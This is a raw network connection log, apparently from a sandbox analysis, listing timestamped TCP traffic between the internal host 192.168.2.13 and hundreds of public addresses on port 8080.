Jan 26, 2025 01:43:29.682225943 CET	8080	47566	95.133.51.160	192.168.2.13
Jan 26, 2025 01:43:29.682233095 CET	47566	8080	192.168.2.13	95.132.198.246
Jan 26, 2025 01:43:29.682235003 CET	8080	47566	85.217.47.185	192.168.2.13
Jan 26, 2025 01:43:29.682244062 CET	8080	47566	94.24.64.0	192.168.2.13
Jan 26, 2025 01:43:29.682252884 CET	8080	47566	62.193.139.12	192.168.2.13
Jan 26, 2025 01:43:29.682252884 CET	47566	8080	192.168.2.13	31.146.100.156
Jan 26, 2025 01:43:29.682254076 CET	47566	8080	192.168.2.13	95.133.51.160
Jan 26, 2025 01:43:29.682254076 CET	47566	8080	192.168.2.13	85.217.47.185
Jan 26, 2025 01:43:29.682260990 CET	8080	47566	31.8.137.24	192.168.2.13
Jan 26, 2025 01:43:29.682265997 CET	47566	8080	192.168.2.13	94.24.64.0
Jan 26, 2025 01:43:29.682271004 CET	8080	47566	85.252.124.122	192.168.2.13
Jan 26, 2025 01:43:29.682271004 CET	47566	8080	192.168.2.13	62.193.139.12
Jan 26, 2025 01:43:29.682279110 CET	8080	47566	95.237.184.62	192.168.2.13
Jan 26, 2025 01:43:29.682287931 CET	8080	47566	95.255.123.232	192.168.2.13
Jan 26, 2025 01:43:29.682296991 CET	8080	47566	85.133.254.212	192.168.2.13
Jan 26, 2025 01:43:29.682300091 CET	47566	8080	192.168.2.13	85.252.124.122
Jan 26, 2025 01:43:29.682300091 CET	47566	8080	192.168.2.13	95.237.184.62
Jan 26, 2025 01:43:29.682305098 CET	8080	47566	95.152.116.228	192.168.2.13
Jan 26, 2025 01:43:29.682312965 CET	47566	8080	192.168.2.13	95.255.123.232
Jan 26, 2025 01:43:29.682313919 CET	8080	47566	94.221.68.202	192.168.2.13
Jan 26, 2025 01:43:29.682317019 CET	47566	8080	192.168.2.13	85.133.254.212
Jan 26, 2025 01:43:29.682322025 CET	8080	47566	62.231.244.57	192.168.2.13
Jan 26, 2025 01:43:29.682327032 CET	47566	8080	192.168.2.13	95.152.116.228
Jan 26, 2025 01:43:29.682331085 CET	8080	47566	31.130.227.222	192.168.2.13
Jan 26, 2025 01:43:29.682332039 CET	47566	8080	192.168.2.13	94.221.68.202
Jan 26, 2025 01:43:29.682339907 CET	8080	47566	95.184.75.140	192.168.2.13
Jan 26, 2025 01:43:29.682343960 CET	47566	8080	192.168.2.13	62.231.244.57
Jan 26, 2025 01:43:29.682349920 CET	8080	47566	85.111.83.254	192.168.2.13
Jan 26, 2025 01:43:29.682358980 CET	8080	47566	94.2.3.64	192.168.2.13
Jan 26, 2025 01:43:29.682363987 CET	47566	8080	192.168.2.13	31.130.227.222
Jan 26, 2025 01:43:29.682364941 CET	47566	8080	192.168.2.13	95.184.75.140
Jan 26, 2025 01:43:29.682368040 CET	47566	8080	192.168.2.13	31.8.137.24
Jan 26, 2025 01:43:29.682368994 CET	8080	47566	95.51.235.107	192.168.2.13
Jan 26, 2025 01:43:29.682384968 CET	47566	8080	192.168.2.13	85.111.83.254
Jan 26, 2025 01:43:29.682384968 CET	47566	8080	192.168.2.13	94.2.3.64
Jan 26, 2025 01:43:29.682394028 CET	47566	8080	192.168.2.13	95.51.235.107
Jan 26, 2025 01:43:29.682519913 CET	8080	47566	95.95.157.50	192.168.2.13
Jan 26, 2025 01:43:29.682532072 CET	8080	47566	95.182.105.54	192.168.2.13
Jan 26, 2025 01:43:29.682540894 CET	8080	47566	94.162.88.74	192.168.2.13
Jan 26, 2025 01:43:29.682549000 CET	47566	8080	192.168.2.13	95.95.157.50
Jan 26, 2025 01:43:29.682549953 CET	8080	47566	31.253.0.19	192.168.2.13
Jan 26, 2025 01:43:29.682550907 CET	47566	8080	192.168.2.13	95.182.105.54
Jan 26, 2025 01:43:29.682560921 CET	47566	8080	192.168.2.13	94.162.88.74
Jan 26, 2025 01:43:29.682560921 CET	8080	47566	95.130.120.185	192.168.2.13
Jan 26, 2025 01:43:29.682571888 CET	8080	47566	85.57.174.159	192.168.2.13
Jan 26, 2025 01:43:29.682578087 CET	47566	8080	192.168.2.13	31.253.0.19
Jan 26, 2025 01:43:29.682579994 CET	8080	47566	95.104.197.45	192.168.2.13
Jan 26, 2025 01:43:29.682585955 CET	47566	8080	192.168.2.13	95.130.120.185
Jan 26, 2025 01:43:29.682591915 CET	8080	47566	31.186.233.34	192.168.2.13
Jan 26, 2025 01:43:29.682600021 CET	47566	8080	192.168.2.13	85.57.174.159
Jan 26, 2025 01:43:29.682605982 CET	47566	8080	192.168.2.13	95.104.197.45
Jan 26, 2025 01:43:29.682609081 CET	8080	47566	94.228.243.61	192.168.2.13
Jan 26, 2025 01:43:29.682620049 CET	8080	47566	62.71.69.106	192.168.2.13
Jan 26, 2025 01:43:29.682624102 CET	47566	8080	192.168.2.13	31.186.233.34
Jan 26, 2025 01:43:29.682629108 CET	8080	47566	31.85.18.12	192.168.2.13
Jan 26, 2025 01:43:29.682637930 CET	8080	47566	94.207.212.139	192.168.2.13
Jan 26, 2025 01:43:29.682638884 CET	47566	8080	192.168.2.13	94.228.243.61
Jan 26, 2025 01:43:29.682646990 CET	8080	47566	95.48.180.73	192.168.2.13
Jan 26, 2025 01:43:29.682652950 CET	47566	8080	192.168.2.13	31.85.18.12
Jan 26, 2025 01:43:29.682656050 CET	47566	8080	192.168.2.13	62.71.69.106
Jan 26, 2025 01:43:29.682657003 CET	8080	47566	94.137.10.44	192.168.2.13
Jan 26, 2025 01:43:29.682663918 CET	47566	8080	192.168.2.13	94.207.212.139
Jan 26, 2025 01:43:29.682666063 CET	8080	47566	62.11.103.248	192.168.2.13
Jan 26, 2025 01:43:29.682674885 CET	47566	8080	192.168.2.13	95.48.180.73
Jan 26, 2025 01:43:29.682674885 CET	8080	47566	95.114.18.5	192.168.2.13
Jan 26, 2025 01:43:29.682683945 CET	8080	47566	85.34.179.142	192.168.2.13
Jan 26, 2025 01:43:29.682688951 CET	47566	8080	192.168.2.13	62.11.103.248
Jan 26, 2025 01:43:29.682688951 CET	47566	8080	192.168.2.13	94.137.10.44
Jan 26, 2025 01:43:29.682693005 CET	8080	47566	62.228.35.33	192.168.2.13
Jan 26, 2025 01:43:29.682703018 CET	8080	47566	62.21.135.39	192.168.2.13
Jan 26, 2025 01:43:29.682707071 CET	47566	8080	192.168.2.13	85.34.179.142
Jan 26, 2025 01:43:29.682713032 CET	8080	47566	94.151.176.34	192.168.2.13
Jan 26, 2025 01:43:29.682717085 CET	47566	8080	192.168.2.13	62.228.35.33
Jan 26, 2025 01:43:29.682718992 CET	47566	8080	192.168.2.13	95.114.18.5
Jan 26, 2025 01:43:29.682722092 CET	8080	47566	85.213.197.47	192.168.2.13
Jan 26, 2025 01:43:29.682728052 CET	47566	8080	192.168.2.13	62.21.135.39
Jan 26, 2025 01:43:29.682733059 CET	8080	47566	31.174.188.111	192.168.2.13
Jan 26, 2025 01:43:29.682734013 CET	47566	8080	192.168.2.13	94.151.176.34
Jan 26, 2025 01:43:29.682742119 CET	8080	47566	31.209.92.189	192.168.2.13
Jan 26, 2025 01:43:29.682753086 CET	47566	8080	192.168.2.13	85.213.197.47
Jan 26, 2025 01:43:29.682759047 CET	47566	8080	192.168.2.13	31.174.188.111
Jan 26, 2025 01:43:29.682760954 CET	8080	47566	85.168.172.74	192.168.2.13
Jan 26, 2025 01:43:29.682765007 CET	47566	8080	192.168.2.13	31.209.92.189
Jan 26, 2025 01:43:29.682770967 CET	8080	47566	85.122.200.30	192.168.2.13
Jan 26, 2025 01:43:29.682780027 CET	8080	47566	94.67.96.135	192.168.2.13
Jan 26, 2025 01:43:29.682789087 CET	8080	47566	94.1.190.173	192.168.2.13
Jan 26, 2025 01:43:29.682796001 CET	47566	8080	192.168.2.13	85.168.172.74
Jan 26, 2025 01:43:29.682797909 CET	8080	47566	95.94.74.205	192.168.2.13
Jan 26, 2025 01:43:29.682799101 CET	47566	8080	192.168.2.13	85.122.200.30
Jan 26, 2025 01:43:29.682811022 CET	47566	8080	192.168.2.13	94.67.96.135
Jan 26, 2025 01:43:29.682812929 CET	47566	8080	192.168.2.13	94.1.190.173
Jan 26, 2025 01:43:29.682816029 CET	47566	8080	192.168.2.13	95.94.74.205
Jan 26, 2025 01:43:29.683037043 CET	8080	47566	95.28.118.47	192.168.2.13
Jan 26, 2025 01:43:29.683047056 CET	8080	47566	62.246.164.222	192.168.2.13
Jan 26, 2025 01:43:29.683056116 CET	8080	47566	31.111.19.57	192.168.2.13
Jan 26, 2025 01:43:29.683065891 CET	8080	47566	95.74.60.32	192.168.2.13
Jan 26, 2025 01:43:29.683069944 CET	47566	8080	192.168.2.13	95.28.118.47
Jan 26, 2025 01:43:29.683077097 CET	8080	47566	85.18.251.250	192.168.2.13
Jan 26, 2025 01:43:29.683079004 CET	47566	8080	192.168.2.13	62.246.164.222
Jan 26, 2025 01:43:29.683088064 CET	8080	47566	85.14.39.157	192.168.2.13
Jan 26, 2025 01:43:29.683089972 CET	47566	8080	192.168.2.13	95.74.60.32
Jan 26, 2025 01:43:29.683096886 CET	8080	47566	85.80.101.44	192.168.2.13
Jan 26, 2025 01:43:29.683105946 CET	8080	47566	85.206.63.159	192.168.2.13
Jan 26, 2025 01:43:29.683109045 CET	47566	8080	192.168.2.13	31.111.19.57
Jan 26, 2025 01:43:29.683109045 CET	47566	8080	192.168.2.13	85.18.251.250
Jan 26, 2025 01:43:29.683116913 CET	8080	47566	62.84.118.121	192.168.2.13
Jan 26, 2025 01:43:29.683121920 CET	47566	8080	192.168.2.13	85.14.39.157
Jan 26, 2025 01:43:29.683123112 CET	47566	8080	192.168.2.13	85.80.101.44
Jan 26, 2025 01:43:29.683125973 CET	8080	47566	31.219.242.193	192.168.2.13
Jan 26, 2025 01:43:29.683130980 CET	47566	8080	192.168.2.13	85.206.63.159
Jan 26, 2025 01:43:29.683144093 CET	47566	8080	192.168.2.13	62.84.118.121
Jan 26, 2025 01:43:29.683151007 CET	8080	47566	94.7.131.192	192.168.2.13
Jan 26, 2025 01:43:29.683160067 CET	8080	47566	94.95.69.198	192.168.2.13
Jan 26, 2025 01:43:29.683161974 CET	47566	8080	192.168.2.13	31.219.242.193
Jan 26, 2025 01:43:29.683168888 CET	8080	47566	31.31.251.145	192.168.2.13
Jan 26, 2025 01:43:29.683178902 CET	8080	47566	85.183.238.200	192.168.2.13
Jan 26, 2025 01:43:29.683182001 CET	47566	8080	192.168.2.13	94.7.131.192
Jan 26, 2025 01:43:29.683188915 CET	8080	47566	95.138.241.166	192.168.2.13
Jan 26, 2025 01:43:29.683193922 CET	47566	8080	192.168.2.13	94.95.69.198
Jan 26, 2025 01:43:29.683197975 CET	8080	47566	31.91.196.9	192.168.2.13
Jan 26, 2025 01:43:29.683201075 CET	47566	8080	192.168.2.13	31.31.251.145
Jan 26, 2025 01:43:29.683201075 CET	47566	8080	192.168.2.13	85.183.238.200
Jan 26, 2025 01:43:29.683207989 CET	8080	47566	31.227.123.131	192.168.2.13
Jan 26, 2025 01:43:29.683217049 CET	8080	47566	31.255.1.161	192.168.2.13
Jan 26, 2025 01:43:29.683218956 CET	47566	8080	192.168.2.13	95.138.241.166
Jan 26, 2025 01:43:29.683226109 CET	8080	47566	95.116.93.76	192.168.2.13
Jan 26, 2025 01:43:29.683229923 CET	47566	8080	192.168.2.13	31.91.196.9
Jan 26, 2025 01:43:29.683233023 CET	47566	8080	192.168.2.13	31.227.123.131
Jan 26, 2025 01:43:29.683234930 CET	8080	47566	94.201.12.120	192.168.2.13
Jan 26, 2025 01:43:29.683244944 CET	8080	47566	62.171.183.1	192.168.2.13
Jan 26, 2025 01:43:29.683248043 CET	47566	8080	192.168.2.13	31.255.1.161
Jan 26, 2025 01:43:29.683254004 CET	8080	47566	85.233.75.133	192.168.2.13
Jan 26, 2025 01:43:29.683258057 CET	47566	8080	192.168.2.13	95.116.93.76
Jan 26, 2025 01:43:29.683271885 CET	8080	47566	85.234.170.71	192.168.2.13
Jan 26, 2025 01:43:29.683273077 CET	47566	8080	192.168.2.13	62.171.183.1
Jan 26, 2025 01:43:29.683275938 CET	47566	8080	192.168.2.13	94.201.12.120
Jan 26, 2025 01:43:29.683280945 CET	8080	47566	31.53.171.246	192.168.2.13
Jan 26, 2025 01:43:29.683290005 CET	8080	47566	62.153.102.198	192.168.2.13
Jan 26, 2025 01:43:29.683294058 CET	47566	8080	192.168.2.13	85.233.75.133
Jan 26, 2025 01:43:29.683299065 CET	47566	8080	192.168.2.13	85.234.170.71
Jan 26, 2025 01:43:29.683300972 CET	8080	47566	31.66.21.250	192.168.2.13
Jan 26, 2025 01:43:29.683309078 CET	47566	8080	192.168.2.13	31.53.171.246
Jan 26, 2025 01:43:29.683310032 CET	8080	47566	95.82.0.199	192.168.2.13
Jan 26, 2025 01:43:29.683326960 CET	8080	47566	85.188.22.216	192.168.2.13
Jan 26, 2025 01:43:29.683331013 CET	47566	8080	192.168.2.13	62.153.102.198
Jan 26, 2025 01:43:29.683331013 CET	47566	8080	192.168.2.13	31.66.21.250
Jan 26, 2025 01:43:29.683336973 CET	47566	8080	192.168.2.13	95.82.0.199
Jan 26, 2025 01:43:29.683356047 CET	47566	8080	192.168.2.13	85.188.22.216
Jan 26, 2025 01:43:29.683603048 CET	8080	47566	85.220.197.99	192.168.2.13
Jan 26, 2025 01:43:29.683614969 CET	8080	47566	85.159.107.95	192.168.2.13
Jan 26, 2025 01:43:29.683634996 CET	8080	47566	85.107.165.135	192.168.2.13
Jan 26, 2025 01:43:29.683645010 CET	47566	8080	192.168.2.13	85.220.197.99
Jan 26, 2025 01:43:29.683645964 CET	8080	47566	94.91.80.108	192.168.2.13
Jan 26, 2025 01:43:29.683645010 CET	47566	8080	192.168.2.13	85.159.107.95
Jan 26, 2025 01:43:29.683657885 CET	8080	47566	31.0.247.226	192.168.2.13
Jan 26, 2025 01:43:29.683667898 CET	8080	47566	95.78.5.184	192.168.2.13
Jan 26, 2025 01:43:29.683670998 CET	47566	8080	192.168.2.13	85.107.165.135
Jan 26, 2025 01:43:29.683670998 CET	47566	8080	192.168.2.13	94.91.80.108
Jan 26, 2025 01:43:29.683676004 CET	8080	47566	95.179.147.74	192.168.2.13
Jan 26, 2025 01:43:29.683686018 CET	8080	47566	94.19.13.169	192.168.2.13
Jan 26, 2025 01:43:29.683695078 CET	8080	47566	85.241.62.222	192.168.2.13
Jan 26, 2025 01:43:29.683697939 CET	47566	8080	192.168.2.13	95.78.5.184
Jan 26, 2025 01:43:29.683700085 CET	47566	8080	192.168.2.13	31.0.247.226
Jan 26, 2025 01:43:29.683700085 CET	47566	8080	192.168.2.13	95.179.147.74
Jan 26, 2025 01:43:29.683702946 CET	8080	47566	31.196.0.154	192.168.2.13
Jan 26, 2025 01:43:29.683712959 CET	8080	47566	85.217.99.195	192.168.2.13
Jan 26, 2025 01:43:29.683720112 CET	47566	8080	192.168.2.13	94.19.13.169
Jan 26, 2025 01:43:29.683722019 CET	8080	47566	94.209.14.79	192.168.2.13
Jan 26, 2025 01:43:29.683720112 CET	47566	8080	192.168.2.13	85.241.62.222
Jan 26, 2025 01:43:29.683731079 CET	8080	47566	94.132.158.84	192.168.2.13
Jan 26, 2025 01:43:29.683732986 CET	47566	8080	192.168.2.13	85.217.99.195
Jan 26, 2025 01:43:29.683739901 CET	47566	8080	192.168.2.13	31.196.0.154
Jan 26, 2025 01:43:29.683739901 CET	8080	47566	85.226.123.8	192.168.2.13
Jan 26, 2025 01:43:29.683748960 CET	8080	47566	62.36.202.72	192.168.2.13
Jan 26, 2025 01:43:29.683751106 CET	47566	8080	192.168.2.13	94.132.158.84
Jan 26, 2025 01:43:29.683756113 CET	47566	8080	192.168.2.13	94.209.14.79
Jan 26, 2025 01:43:29.683758974 CET	8080	47566	62.165.78.30	192.168.2.13
Jan 26, 2025 01:43:29.683765888 CET	47566	8080	192.168.2.13	85.226.123.8
Jan 26, 2025 01:43:29.683768988 CET	8080	47566	31.188.206.36	192.168.2.13
Jan 26, 2025 01:43:29.683779001 CET	8080	47566	62.127.204.174	192.168.2.13
Jan 26, 2025 01:43:29.683788061 CET	47566	8080	192.168.2.13	62.165.78.30
Jan 26, 2025 01:43:29.683796883 CET	8080	47566	31.160.255.185	192.168.2.13
Jan 26, 2025 01:43:29.683806896 CET	8080	47566	94.107.175.136	192.168.2.13
Jan 26, 2025 01:43:29.683809996 CET	47566	8080	192.168.2.13	62.127.204.174
Jan 26, 2025 01:43:29.683811903 CET	47566	8080	192.168.2.13	31.188.206.36
Jan 26, 2025 01:43:29.683815956 CET	8080	47566	31.191.128.1	192.168.2.13
Jan 26, 2025 01:43:29.683825016 CET	8080	47566	95.133.160.46	192.168.2.13
Jan 26, 2025 01:43:29.683830023 CET	47566	8080	192.168.2.13	62.36.202.72
Jan 26, 2025 01:43:29.683831930 CET	47566	8080	192.168.2.13	31.160.255.185
Jan 26, 2025 01:43:29.683834076 CET	8080	47566	62.69.124.126	192.168.2.13
Jan 26, 2025 01:43:29.683840036 CET	47566	8080	192.168.2.13	94.107.175.136
Jan 26, 2025 01:43:29.683840990 CET	47566	8080	192.168.2.13	31.191.128.1
Jan 26, 2025 01:43:29.683844090 CET	8080	47566	31.82.121.18	192.168.2.13
Jan 26, 2025 01:43:29.683851957 CET	47566	8080	192.168.2.13	95.133.160.46
Jan 26, 2025 01:43:29.683854103 CET	8080	47566	31.236.162.106	192.168.2.13
Jan 26, 2025 01:43:29.683860064 CET	47566	8080	192.168.2.13	62.69.124.126
Jan 26, 2025 01:43:29.683862925 CET	8080	47566	94.169.3.102	192.168.2.13
Jan 26, 2025 01:43:29.683872938 CET	8080	47566	85.118.70.153	192.168.2.13
Jan 26, 2025 01:43:29.683878899 CET	47566	8080	192.168.2.13	31.82.121.18
Jan 26, 2025 01:43:29.683883905 CET	8080	47566	62.251.125.177	192.168.2.13
Jan 26, 2025 01:43:29.683890104 CET	47566	8080	192.168.2.13	31.236.162.106
Jan 26, 2025 01:43:29.683907986 CET	47566	8080	192.168.2.13	85.118.70.153
Jan 26, 2025 01:43:29.683907986 CET	47566	8080	192.168.2.13	94.169.3.102
Jan 26, 2025 01:43:29.683909893 CET	47566	8080	192.168.2.13	62.251.125.177
Jan 26, 2025 01:43:29.684043884 CET	8080	47566	95.70.0.124	192.168.2.13
Jan 26, 2025 01:43:29.684053898 CET	8080	47566	94.0.98.101	192.168.2.13
Jan 26, 2025 01:43:29.684071064 CET	8080	47566	62.151.231.29	192.168.2.13
Jan 26, 2025 01:43:29.684078932 CET	47566	8080	192.168.2.13	95.70.0.124
Jan 26, 2025 01:43:29.684078932 CET	47566	8080	192.168.2.13	94.0.98.101
Jan 26, 2025 01:43:29.684079885 CET	8080	47566	94.153.239.59	192.168.2.13
Jan 26, 2025 01:43:29.684089899 CET	8080	47566	85.161.160.189	192.168.2.13
Jan 26, 2025 01:43:29.684098005 CET	47566	8080	192.168.2.13	62.151.231.29
Jan 26, 2025 01:43:29.684099913 CET	8080	47566	31.193.111.93	192.168.2.13
Jan 26, 2025 01:43:29.684101105 CET	47566	8080	192.168.2.13	94.153.239.59
Jan 26, 2025 01:43:29.684109926 CET	8080	47566	31.143.120.125	192.168.2.13
Jan 26, 2025 01:43:29.684118032 CET	8080	47566	85.51.26.242	192.168.2.13
Jan 26, 2025 01:43:29.684128046 CET	8080	47566	62.191.16.120	192.168.2.13
Jan 26, 2025 01:43:29.684129953 CET	47566	8080	192.168.2.13	85.161.160.189
Jan 26, 2025 01:43:29.684130907 CET	47566	8080	192.168.2.13	31.193.111.93
Jan 26, 2025 01:43:29.684137106 CET	8080	47566	62.98.250.25	192.168.2.13
Jan 26, 2025 01:43:29.684145927 CET	47566	8080	192.168.2.13	85.51.26.242
Jan 26, 2025 01:43:29.684146881 CET	8080	47566	31.95.166.238	192.168.2.13
Jan 26, 2025 01:43:29.684148073 CET	47566	8080	192.168.2.13	31.143.120.125
Jan 26, 2025 01:43:29.684155941 CET	8080	47566	31.81.149.126	192.168.2.13
Jan 26, 2025 01:43:29.684165001 CET	8080	47566	94.220.239.195	192.168.2.13
Jan 26, 2025 01:43:29.684165955 CET	47566	8080	192.168.2.13	62.191.16.120
Jan 26, 2025 01:43:29.684169054 CET	47566	8080	192.168.2.13	62.98.250.25
Jan 26, 2025 01:43:29.684174061 CET	8080	47566	94.219.216.46	192.168.2.13
Jan 26, 2025 01:43:29.684175968 CET	47566	8080	192.168.2.13	31.95.166.238
Jan 26, 2025 01:43:29.684184074 CET	8080	47566	85.163.84.25	192.168.2.13
Jan 26, 2025 01:43:29.684190989 CET	47566	8080	192.168.2.13	31.81.149.126
Jan 26, 2025 01:43:29.684192896 CET	8080	47566	95.213.42.68	192.168.2.13
Jan 26, 2025 01:43:29.684194088 CET	47566	8080	192.168.2.13	94.220.239.195
Jan 26, 2025 01:43:29.684199095 CET	47566	8080	192.168.2.13	94.219.216.46
Jan 26, 2025 01:43:29.684201956 CET	8080	47566	62.75.117.138	192.168.2.13
Jan 26, 2025 01:43:29.684209108 CET	47566	8080	192.168.2.13	85.163.84.25
Jan 26, 2025 01:43:29.684211969 CET	8080	47566	62.213.224.49	192.168.2.13
Jan 26, 2025 01:43:29.684221983 CET	8080	47566	62.141.77.83	192.168.2.13
Jan 26, 2025 01:43:29.684222937 CET	47566	8080	192.168.2.13	95.213.42.68
Jan 26, 2025 01:43:29.684235096 CET	47566	8080	192.168.2.13	62.213.224.49
Jan 26, 2025 01:43:29.684237003 CET	47566	8080	192.168.2.13	62.75.117.138
Jan 26, 2025 01:43:29.684241056 CET	8080	47566	31.198.0.204	192.168.2.13
Jan 26, 2025 01:43:29.684250116 CET	8080	47566	94.148.197.137	192.168.2.13
Jan 26, 2025 01:43:29.684257030 CET	47566	8080	192.168.2.13	62.141.77.83
Jan 26, 2025 01:43:29.684258938 CET	8080	47566	85.3.187.158	192.168.2.13
Jan 26, 2025 01:43:29.684268951 CET	8080	47566	31.254.144.122	192.168.2.13
Jan 26, 2025 01:43:29.684273005 CET	47566	8080	192.168.2.13	31.198.0.204
Jan 26, 2025 01:43:29.684274912 CET	47566	8080	192.168.2.13	94.148.197.137
Jan 26, 2025 01:43:29.684278965 CET	8080	47566	94.132.11.208	192.168.2.13
Jan 26, 2025 01:43:29.684288025 CET	8080	47566	94.95.160.145	192.168.2.13
Jan 26, 2025 01:43:29.684297085 CET	8080	47566	85.236.118.116	192.168.2.13
Jan 26, 2025 01:43:29.684302092 CET	47566	8080	192.168.2.13	85.3.187.158
Jan 26, 2025 01:43:29.684304953 CET	8080	47566	62.135.177.65	192.168.2.13
Jan 26, 2025 01:43:29.684304953 CET	47566	8080	192.168.2.13	94.132.11.208
Jan 26, 2025 01:43:29.684313059 CET	47566	8080	192.168.2.13	31.254.144.122
Jan 26, 2025 01:43:29.684314013 CET	47566	8080	192.168.2.13	94.95.160.145
Jan 26, 2025 01:43:29.684314966 CET	8080	47566	85.104.137.111	192.168.2.13
Jan 26, 2025 01:43:29.684329987 CET	47566	8080	192.168.2.13	85.236.118.116
Jan 26, 2025 01:43:29.684329987 CET	47566	8080	192.168.2.13	62.135.177.65
Jan 26, 2025 01:43:29.684339046 CET	47566	8080	192.168.2.13	85.104.137.111
Jan 26, 2025 01:43:29.684494019 CET	8080	47566	62.123.67.64	192.168.2.13
Jan 26, 2025 01:43:29.684504032 CET	8080	47566	94.255.35.247	192.168.2.13
Jan 26, 2025 01:43:29.684513092 CET	8080	47566	85.103.149.86	192.168.2.13
Jan 26, 2025 01:43:29.684521914 CET	8080	47566	31.114.172.171	192.168.2.13
Jan 26, 2025 01:43:29.684530973 CET	47566	8080	192.168.2.13	62.123.67.64
Jan 26, 2025 01:43:29.684531927 CET	8080	47566	85.162.239.216	192.168.2.13
Jan 26, 2025 01:43:29.684536934 CET	47566	8080	192.168.2.13	94.255.35.247
Jan 26, 2025 01:43:29.684544086 CET	47566	8080	192.168.2.13	85.103.149.86
Jan 26, 2025 01:43:29.684549093 CET	8080	47566	31.138.57.204	192.168.2.13
Jan 26, 2025 01:43:29.684552908 CET	47566	8080	192.168.2.13	31.114.172.171
Jan 26, 2025 01:43:29.684559107 CET	8080	47566	94.208.196.200	192.168.2.13
Jan 26, 2025 01:43:29.684571028 CET	8080	47566	95.160.145.237	192.168.2.13
Jan 26, 2025 01:43:29.684571981 CET	47566	8080	192.168.2.13	85.162.239.216
Jan 26, 2025 01:43:29.684575081 CET	47566	8080	192.168.2.13	31.138.57.204
Jan 26, 2025 01:43:29.684581041 CET	8080	47566	62.101.128.124	192.168.2.13
Jan 26, 2025 01:43:29.684588909 CET	47566	8080	192.168.2.13	94.208.196.200
Jan 26, 2025 01:43:29.684590101 CET	8080	47566	85.132.99.33	192.168.2.13
Jan 26, 2025 01:43:29.684600115 CET	8080	47566	94.202.54.84	192.168.2.13
Jan 26, 2025 01:43:29.684608936 CET	8080	47566	62.123.207.236	192.168.2.13
Jan 26, 2025 01:43:29.684609890 CET	47566	8080	192.168.2.13	95.160.145.237
Jan 26, 2025 01:43:29.684609890 CET	47566	8080	192.168.2.13	62.101.128.124
Jan 26, 2025 01:43:29.684612989 CET	47566	8080	192.168.2.13	85.132.99.33
Jan 26, 2025 01:43:29.684617043 CET	8080	47566	31.208.147.36	192.168.2.13
Jan 26, 2025 01:43:29.684623957 CET	47566	8080	192.168.2.13	94.202.54.84
Jan 26, 2025 01:43:29.684627056 CET	8080	47566	95.31.95.138	192.168.2.13
Jan 26, 2025 01:43:29.684636116 CET	47566	8080	192.168.2.13	62.123.207.236
Jan 26, 2025 01:43:29.684638023 CET	8080	47566	95.99.96.192	192.168.2.13
Jan 26, 2025 01:43:29.684647083 CET	47566	8080	192.168.2.13	31.208.147.36
Jan 26, 2025 01:43:29.684648037 CET	8080	47566	31.199.220.45	192.168.2.13
Jan 26, 2025 01:43:29.684655905 CET	8080	47566	62.5.147.166	192.168.2.13
Jan 26, 2025 01:43:29.684658051 CET	47566	8080	192.168.2.13	95.31.95.138
Jan 26, 2025 01:43:29.684664965 CET	47566	8080	192.168.2.13	95.99.96.192
Jan 26, 2025 01:43:29.684664965 CET	8080	47566	94.170.178.102	192.168.2.13
Jan 26, 2025 01:43:29.684675932 CET	8080	47566	94.25.224.29	192.168.2.13
Jan 26, 2025 01:43:29.684679031 CET	47566	8080	192.168.2.13	31.199.220.45
Jan 26, 2025 01:43:29.684684992 CET	8080	47566	85.32.138.3	192.168.2.13
Jan 26, 2025 01:43:29.684686899 CET	47566	8080	192.168.2.13	62.5.147.166
Jan 26, 2025 01:43:29.684693098 CET	47566	8080	192.168.2.13	94.170.178.102
Jan 26, 2025 01:43:29.684695005 CET	8080	47566	95.158.90.242	192.168.2.13
Jan 26, 2025 01:43:29.684700966 CET	47566	8080	192.168.2.13	94.25.224.29
Jan 26, 2025 01:43:29.684705019 CET	8080	47566	95.32.131.252	192.168.2.13
Jan 26, 2025 01:43:29.684710026 CET	47566	8080	192.168.2.13	85.32.138.3
Jan 26, 2025 01:43:29.684715986 CET	8080	47566	62.96.92.2	192.168.2.13
Jan 26, 2025 01:43:29.684717894 CET	47566	8080	192.168.2.13	95.158.90.242
Jan 26, 2025 01:43:29.684726000 CET	8080	47566	85.37.14.80	192.168.2.13
Jan 26, 2025 01:43:29.684737921 CET	8080	47566	62.32.124.186	192.168.2.13
Jan 26, 2025 01:43:29.684736967 CET	47566	8080	192.168.2.13	95.32.131.252
Jan 26, 2025 01:43:29.684746981 CET	47566	8080	192.168.2.13	62.96.92.2
Jan 26, 2025 01:43:29.684747934 CET	8080	47566	31.81.113.230	192.168.2.13
Jan 26, 2025 01:43:29.684757948 CET	8080	47566	62.150.76.214	192.168.2.13
Jan 26, 2025 01:43:29.684761047 CET	47566	8080	192.168.2.13	85.37.14.80
Jan 26, 2025 01:43:29.684763908 CET	47566	8080	192.168.2.13	62.32.124.186
Jan 26, 2025 01:43:29.684767008 CET	8080	47566	94.39.5.29	192.168.2.13
Jan 26, 2025 01:43:29.684777021 CET	47566	8080	192.168.2.13	31.81.113.230
Jan 26, 2025 01:43:29.684782028 CET	47566	8080	192.168.2.13	62.150.76.214
Jan 26, 2025 01:43:29.684814930 CET	47566	8080	192.168.2.13	94.39.5.29
Jan 26, 2025 01:43:29.684951067 CET	8080	47566	94.122.128.150	192.168.2.13
Jan 26, 2025 01:43:29.684961081 CET	8080	47566	85.116.24.62	192.168.2.13
Jan 26, 2025 01:43:29.684973001 CET	8080	47566	31.72.52.203	192.168.2.13
Jan 26, 2025 01:43:29.684986115 CET	47566	8080	192.168.2.13	94.122.128.150
Jan 26, 2025 01:43:29.684989929 CET	47566	8080	192.168.2.13	85.116.24.62
Jan 26, 2025 01:43:29.684992075 CET	8080	47566	94.96.227.40	192.168.2.13
Jan 26, 2025 01:43:29.685002089 CET	8080	47566	31.145.100.196	192.168.2.13
Jan 26, 2025 01:43:29.685007095 CET	47566	8080	192.168.2.13	31.72.52.203
Jan 26, 2025 01:43:29.685012102 CET	8080	47566	95.94.23.137	192.168.2.13
Jan 26, 2025 01:43:29.685019016 CET	47566	8080	192.168.2.13	94.96.227.40
Jan 26, 2025 01:43:29.685022116 CET	8080	47566	95.177.182.2	192.168.2.13
Jan 26, 2025 01:43:29.685031891 CET	8080	47566	31.6.152.62	192.168.2.13
Jan 26, 2025 01:43:29.685031891 CET	47566	8080	192.168.2.13	31.145.100.196
Jan 26, 2025 01:43:29.685041904 CET	8080	47566	95.14.164.48	192.168.2.13
Jan 26, 2025 01:43:29.685046911 CET	47566	8080	192.168.2.13	95.94.23.137
Jan 26, 2025 01:43:29.685046911 CET	47566	8080	192.168.2.13	95.177.182.2
Jan 26, 2025 01:43:29.685050964 CET	8080	47566	95.42.252.162	192.168.2.13
